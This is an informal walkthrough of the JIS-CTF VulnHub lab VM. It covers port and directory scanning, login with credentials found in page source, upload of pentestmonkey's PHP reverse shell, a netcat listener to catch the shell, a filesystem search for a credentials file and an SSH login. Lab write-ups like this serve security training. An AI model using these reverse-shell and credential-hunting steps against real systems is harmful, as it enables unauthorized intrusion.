Jordan InfoSec CTF-01 Walkthrough
JIS-CTF
Hello All,
Today i will write my first walkthrough of easy VM.
Jordan InfoSec.
First to download the vm from VM here:
https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/

This challenge have 5 flags you need to use some linux and
basic hacking techniques to find the flags,
you may need for this command during this challenge
{ls -a :to look for hidden files}
{ls -l :to look for permissions}
{find -name :to look for find files}
{cat :to open text files}
{ssh username@IP_target :to connect to the ssh server}
first you need to set the VM to Bridge Network,
Open the Kali then we will discover the netwrok to find the
target.
"Note the command after the '#' mark"

#netdiscover:
i found the target:
192.168.1.6:

okey let's scan the ports and the host services using Nmap tool:
our target here is 192.168.1.6 so :
#nmap -192.168.1.6
we found

there is two ports opening
22 for ssh, and 80 for http,
Interesting! , so let's move to Browser and open the IP

we found login page,
okey let us use the nikto tool
to discover directories in the website
we use -C all to force for all possible directories.
#nikto -C all -h 192.168.1.6

as we see we have some interesting dir like 'robots.txt'
let's check it

nice move !
we found this folders and if you noticed the Flag folder
Try to open it ;)

after that i moved to /admin_area and
have a look for Inspect Element

we will see the second flag and user name with password

we will go back to login page
http://192.168.1.6/index.php
and insert username : admin
and pass: 3v1l_H@ck3r

and for that we will use reverse_shell
for me i will use monkey shell you can find it from here:
http://pentestmonkey.net/
don't miss to change your ip and port for listening:
php-reverse-shell
This tool is designed for those situations during a pentest where you have upload access to a
webserver that’s running PHP. Upload this script to somewhere in the web root then run it by

Download
php-reverse-shell-1.0.tar.gz
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234;
// CHANGE THIS

first of all use netcat to listen for port 4444
#nc -v -n -l -p 4444

then after downloading the shell from above site
rename it to shell.php and
just click on upload and choose it to upload to the website!

then move to 192.168.1.6/shell.php
note that this ip my different in your lab!
and we will have shell opened on the terminal

then try to search for the third flag
#ls -a
Then try
#cat flag.txt
We found flag.txt, but when i tried to open it it has Permission Denied,
for that i will look for different way to access,
we found hint.txt roo let's open it
#cat hint.txt

Nice here is the 3rd flag!
and he told me to find user technawi and pass to read the flag.txt
we can search in hidden file ;) !
so let's try to search for credentials text file in all directories in the server,
we will use this command and some filter ;)
grep to output only txt files
-name to search by name
/ to search in root dir.
#find / -name 'credentials.txt' | grep txt

nice we found something good in /etc/mysql/conf.d/credentials.txt !
let us open it and see if anything will help us here
#cat ‘/etc/mysql/conf.d/credentials.txt’

awesome! here's the 4th flag , also we have username and password!
let us connect via ssh as we figured before in the scanning stage
#ssh technawi@192.168.1.6
with pass: 3vilH@ksor
the ip may different in your lab!

as we mentioned above there is 5 flag in this challenge and

we found a flag in the home web page but we didn't open it for permission issue
let's go back and try to open it now !
To connect via ssh open new terminal and type:
#ssh technawi@192.168.1.6
With pass: 3vilH@ksor
we will go to '/var/www/html/'
#cd '/var/www/html'

Then try to open the flat.txt
#cat flag.txt

Grat job ;)
here's the final flag
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